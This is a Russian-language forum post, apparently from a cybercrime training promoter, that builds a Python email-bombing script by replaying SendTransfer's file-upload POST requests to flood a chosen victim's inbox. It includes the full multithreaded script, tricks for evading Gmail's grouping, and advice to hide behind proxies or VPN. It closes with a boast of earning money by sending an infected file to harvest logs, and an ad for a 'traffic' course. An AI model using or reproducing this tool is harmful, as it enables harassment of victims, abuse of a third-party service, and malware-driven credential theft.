5000$ на спаме/скрипт

1. Описание непонятных для читателя терминов которые могут встречаться

POST запрос

– запрос от клиента к серверу для приема информации, с дальнейшей её обработкой. Эту информацию передает в «теле», чем и отличается от GET запроса. В GET запросе информация передается методом URL ссылок.


2. Варианты реализации

Вариантов для создания e-mail спама есть 4:

  • Отправлять письма с различных сервисов, и создавать спам, с помощью писем от восстановления пароля.
  • Отправлять собственные письма, через собственный почтовый сервер
  • Автоматическое создание почтовых ящиков на различных площадках, и дальнейшая их эксплуатация для создания писем.
  • Использовать сервисы для анонимной отправки сообщений.

Первый – наилучший, ведь если на почтовый ящик жертвы создано пару аккаунтов из популярных сервисов, таких как: Facebook, YouTube, Twitter и т.д., то можно добиться постоянной отправки писем, которые будут забивать почтовый ящик.

Но из-за постоянно разных сервисов, создания «настоящих» POST запросов будет усложнять работу скрипта. Пример POST запроса я взял с восстановления пароля от Twitter’a:

Рисунок 1: большое количество значений в Header POST запроса

Только в пункте Cookieпришлось бы постоянно менять значения _twitter_sess, ct0, kdt и т.д.

Второй – максимально простой, но, как и первый способ, имеет свои минусы. Прежде всего, чтобы создавать свои собственные письма, нужно ставить свой собственный почтовый сервер, что уже совсем неудобно. Так же, если сервер уже установлен, то ваше письмо может не пройти из-за фаерволов и спам-фильтров крупных почтовых сервисов.

Третий вариант не подходит из-за капчи (в некоторых случаях указание номера) при регистрации почтовых ящиков на абсолютно всех сервисах:

Рисунок 2-4: демонстрация вариантов «анти-бот» регистрации

И остается четвертый вариант, который не имеет явных трудностей, и весьма реализуем.

Выбрав его, я начал поиски такого онлайн-сервиса, который бы не требовал подтверждения ReCAPTCH’и подобных ей запросов.

Были найдены следующие сайты: anonymouse.org, http://send-email.org/.

Но заполнив форму на сайтах, я не дождался ни одного сообщения на почтовый ящик Gmail. Возможно, их сервисы не отвечали требованиям Gmail’a.

Для спавки, anonymouse.org работал, но из-за того, что сервис, для анонимности своих посетителей, отправлял сообщение в случайно выбранное время в течении 12 часов, спам был бы неконтролируемым.

Вскоре, я нашел онлайн-сервис (SendTransfer | Send Large Files), который анонимно отправлял файлы адресату. Конечно, не то, что хотелось, но использовать можно.

Убедившись, что письма доходят до адресата, я начал разбирать запросы, которые идут на сервер.

Использовав встроенные инструменты разработчика от Firefox, были перехвачены 2 POST запроса, которые отсылали веденную мной информацию:


Рисунок 5-6: POST запросы, которые в дальнейшем будут использованы в python скрипте.


3.1 Создание блок-схемы

Предварительное создание блок-схемы поможет в деталях видеть предстоящую работу.

4. Реализация скрипта

Писать скрипт я буду на Python версии 3.7, и использовать интегрированная среду разработки – PyCharm.

И так, перед началом, нужно выяснить, какие именно библиотеки будут использоваться.

Прежде всего, библиотека requests будет автоматизировано создавать POST запросы для сайта.

  • Random – эта библиотека поможет в генерации случайных чисел. В подразделе HEADERS, описано более детально.
  • Argparse – библиотека для обработки веденных данных.
  • Threads – эта библиотека помогает создать многопоточный скрипт.
  • Sys – будет использоваться только для безопасной остановки скрипта

Приступим к детальному анализу POST запроса, который был успешно сохранен.

HEADERS

Сохранив Header POST запроса, с Firefox’a, я начал редактировать его для дальнейшей отправки, а конкретнее, создавать словарь:

Python:

header2 = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0",
           "Accept": "*/*",
           "Accept-Language": "en-US,en;q=0.5",
           "Accept-Encoding": "gzip, deflate, br",
           "Referer": "https://www.sendtransfer.com/",
           "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
           "X-Requested-With": "XMLHttpRequest",
           "Content-Length": "137",
           "Connection": "keep-alive",
           "Cookie": "odesilatel=test%40gmail.com; PHPSESSID=..."}

Попробовав отправлять не полные Headers, я получил следующее:
1 Header POST запроса:

Python:

header1 = {"X-Requested-With": "XMLHttpRequest",
        "Content-Type": "multipart/form-data; boundary=---------------------------3",
        "Content-Length": "371",
        "Connection": "keep-alive",
        "Cookie": "odesilatel=test%40gmail.com; PHPSESSID=..."}


2 Header POST запроса:

Python:

header2 = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Length": "137",
        "Connection": "keep-alive",
        "Cookie": "odesilatel=test%40gmail.com; PHPSESSID=..."}


Так же, при создании скрипта, появился вопрос, как можно генерировать постоянно новый PHPSESSID? Ведь если в области “Cookie” убрать полностью эту область, то сервер приминает запрос, но сообщения на почтовый ящик не поступают.

В итоге все оказалось куда проще, прописав в этой области значение “aaa”, сервер принимал такие POST запросы, и отсылал письмо на указанный почтовый ящик.

Еще одной небольшой доработкой, стало генерирование имя адресанта.

В некоторых почтовых сервисах, а особенно в Gmail, если название письма имеет одинаковое значение, такие письма заносятся в свой каталог, и не засоряет почтовый ящик жертвы:

Но, если использовать библиотеку random, то командой random.randint(0, 1000000), будет генерироваться случайное число от 0 до 1 миллиона. В коде случайное число будет представлять переменная randomid.

Беря за основу в качестве переменной, имя почтового ящика адресанта, можно будет избежать создания каталогов:

DATA

Обязательной частью является отправка данных на веб-сайт.

В этом случае все данные, которые передаются на веб-сервер, не нужно переделывать в словарь, как это было с Headers, а можно уместить их в обычные строки:

Python :

data1 = "--------------------------3\r\nContent-Disposition: form-data; name=\"cs\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"cspoc\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"as.txt\"\r\nContent-Type: text/plain\r\n\r\n.\r\n-----------------------------3--\r\n"


Ах да, если вы решите что-то изменить в data1, то следующий рисунок объяснит вам некоторые детали:

Рисунок 9: объяснение деталей в данных POST запроса


и данные которые связаны со 2 POST запросом:

Python:

data2 = "odesilatel=test% 40gmail.com&zprava=&prijemce=%5B%22test%40gmail.com%22%2C%22test%40gmail.com%22%5D&expirace=7&upozornit=0"Чтобы в будущем было проще разбираться со скриптом, я составил подобие инструкции и для этой переменной:


Чтобы в будущем было проще разбираться со скриптом, я составил подобие инструкции и для этой переменной:

Рисунок 10: объяснение деталей в data2


Так как и получатель, и отправитель каждый раз будет разный, то в это строку были подключены переменные, и финальная строка выглядела следующим образом:


Python:

data2 = "odesilatel=" + randomid + "%40gmail.com&zprava=codeby&prijemce=%5B%22" + mail.split("@")[0] + "%40"+ mail.split("@")[1] + "%22%2C%22" + mail.split("@")[0] + "%40" + mail.split("@")[1] + "%22%5D&expirace=7&upozornit=0"



Как уже было описано раннее, randomid – случайное число от 0 до 1000000, а mail – получатель, которого указал пользователь.

Дальше рассмотрим непосредственно сам скрипт.

Он состоит из 4 функции:

  1. Parser()
  2. Main()
  3. Withmulti()
  4. Sender()

Функция parser() отвечает за принятие веденных данных от пользователя, и передает в функцию main():

Python:

def parser():
    parser = argparse.ArgumentParser(prog='Mail Spammer')

    parser.add_argument("-m", "--multi", help="Multithreading", dest="multi", default=False)
    parser.add_argument("-t", "--to", help="Destination", dest="mail")
    parser.add_argument("-n", "--num", help="Number of letters to send", dest="num", type=int)

    args = vars(parser.parse_args()) #словарь со всеми веденными данными
    main(args) #вызов следующей функции


Переменная args при каждой сессии будет иметь примерно такой вид:

{'multi': False, 'mail': 'test@mail.com', 'num': 2}

В функции main() определяется, будет ли использоваться многопоточность:

Python:

def main(args):
    if args["multi"] != False:
        withmulti(args)
    else:
        sender(args["num"], args["mail"])

Если пользователь решил использовать многопоточность, и ввел True либо yes (то есть не использовал дефолтное значение False), то запускается функция withmulti(), и передается словарь args.

В ином случае, запускается функция sender(), и в эту функцию передается нужно для отправки количество писем, а получатель этих писем.

Python:

def withmulti(args):
    th = (Th.Thread(target=sender, args=[args["num"], args["mail"]]) for i in range(args["multi"]))
    for t in th:
        t.start()
    for t in th:
        t.join()

При использовании функции withmulti(), создается n-количество потоков, которые запускают функцию sender(), и передают все те же значения что в функции main().

Python:

def sender(num, mail):
    for i in range(num):
        randomid = str(random.randint(0, 100000))
        print("mail -", randomid + "@gmail.com")


        header1 = {"Content-Type": "multipart/form-data; boundary=---------------------------3",
                   "Content-Length": "371",
                   "Connection": "keep-alive",
                   "Cookie": "odesilatel=" + randomid + "%40gmail.com; PHPSESSID=aaa"}

        data2 = "odesilatel=" + randomid + "%40gmail.com&zprava=codeby&prijemce=%5B%22" + mail.split("@")[0] + "%40" + \
        mail.split("@")[1] + "%22%2C%22" + mail.split("@")[0] + "%40" + mail.split("@")[1] + "%22%5D&expirace=7&upozornit=0"

        header2 = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                   "X-Requested-With": "XMLHttpRequest",
                   "Content-Length": "137",
                   "Connection": "keep-alive",
                   "Cookie": "odesilatel=" + randomid + "%40gmail.com; PHPSESSID=aaa"}

        data1 = "--------------------------3\r\nContent-Disposition: form-data; name=\"cs\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"cspoc\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"as.txt\"\r\nContent-Type: text/plain\r\n\r\n.\r\n-----------------------------3--\r\n"

        req1 = post("https://www.sendtransfer.com/server/php/", data=data1, headers=header1)
        req2 = post("https://www.sendtransfer.com/server/php/mejl.php", data=data2, headers=header2)
        print("DONE:", i+1, "/", num,"\nResponse code:", "1 - ", str(req1).split("[")[1].split("]")[0], "  2 - ",
              str(req2).split("[")[1].split("]")[0], "\n")



В функции sender(), создается цикл, который используя уже описанные мною переменные data1, header1, data2 и header2.

В цикле создается два POST запроса в определенной последовательности, и вслед за этим выводиться счетчик отправленных сообщений и код ответа от сервера. HTTP код 200 – обозначает, что никаких ошибок не было замечено, и сервер принял запрос.

5. Тестирование

Скрипт работает отлично, и справляется с большим количеством писем:

Рисунок 11: демонстрация работоспособности скрипта
Рисунок 12: демонстрация работы скрипта



6. Заключение
Прежде всего, не рекомендую использовать скрипт без каких-то прокси либо впн. Так же, если по какой-то причине, SendTransfer | Send Large Files не принимает POST запросы, то используя инструменты разработчика в Chrom’e/Firefox’e, просмотрите, какие данные отправляет ему браузер.

Если SendTransfer | Send Large Files не работает, то по аналогии вы сможете найти подобный сайт, и подобным путем вылудить POST запросы, и переделать под свои нужды. И не злоупотребляйте спамом! На этом все, спасибо за прочтение!



Проработав 3 дня, я вытянул большое количество логов ( оптравляя зараженный файл по своим базам ) + оказал услугу пару людям, за которые взял 2000$.


Весь скрипт:

from requests import *
import random
import argparse
import sys
import threading as Th

def parser():
    parser = argparse.ArgumentParser(prog='Mail Spammer')

    parser.add_argument("-m", "--multi", help="Multithreading?", dest="multi", default=False)
    parser.add_argument("-t", "--to", help="Destination", dest="mail")
    parser.add_argument("-n", "--num", help="Number of letters to send", dest="num", type=int)

    args = vars(parser.parse_args())
    main(args)

def main(args):
    if args["multi"] != False:
        withmulti(args)

    else:
        sender(args["num"], args["mail"])

def withmulti(args):
    th = (Th.Thread(target=sender, args=[args["num"], args["mail"]]) for i in range(args["multi"]))
    for t in th:
        t.start()
    for t in th:
        t.join()

def sender(num, mail):
    for i in range(num):
        randomid = str(random.randint(0, 100000))
        print("mail -", randomid + "@gmail.com")

        header1 = {"Content-Type": "multipart/form-data; boundary=---------------------------3",
                   "Content-Length": "371",
                   "Connection": "keep-alive",
                   "Cookie": "odesilatel=" + randomid + "%40gmail.com; PHPSES-SID=aaa"}

        data2 = "odesilatel=" + randomid + "%40gmail.com&zprava=codeby&prijemce=%5B%22" + mail.split("@")[0] + "%40" + \
        mail.split("@")[1] + "%22%2C%22" + mail.split("@")[0] + "%40" + mail.split("@")[1] + "%22%5D&expirace=7&upozornit=0"

        header2 = {"Content-Type": "application/x-www-form-urlencoded; char-set=UTF-8",
                   "X-Requested-With": "XMLHttpRequest",
                   "Content-Length": "137",
                   "Connection": "keep-alive",
                   "Cookie": "odesilatel=" + randomid + "%40gmail.com; PHPSES-SID=aaa"}

        data1 = "--------------------------3\r\nContent-Disposition: form-data; name=\"cs\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"cspoc\"\r\n\r\n1\r\n-----------------------------3\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"as.txt\"\r\nContent-Type: text/plain\r\n\r\n.\r\n-----------------------------3--\r\n"

        req1 = post("https://www.sendtransfer.com/server/php/", data=data1, headers=header1)
        req2 = post("https://www.sendtransfer.com/server/php/mejl.php", da-ta=data2, headers=header2)
        print("DONE:", i+1, "/", num,"\nResponse code:", "1 - ", str(req1).split("[")[1].split("]")[0], "  2 - ",
              str(req2).split("[")[1].split("]")[0], "\n")

if __name__ == '__main__':
    parser()

print("Finished!")


На обучении Genesis я буду вести ветку *Трафик*, поэтому всех жду там - ссылка на обучение.


Связь

Обучение

Вебинар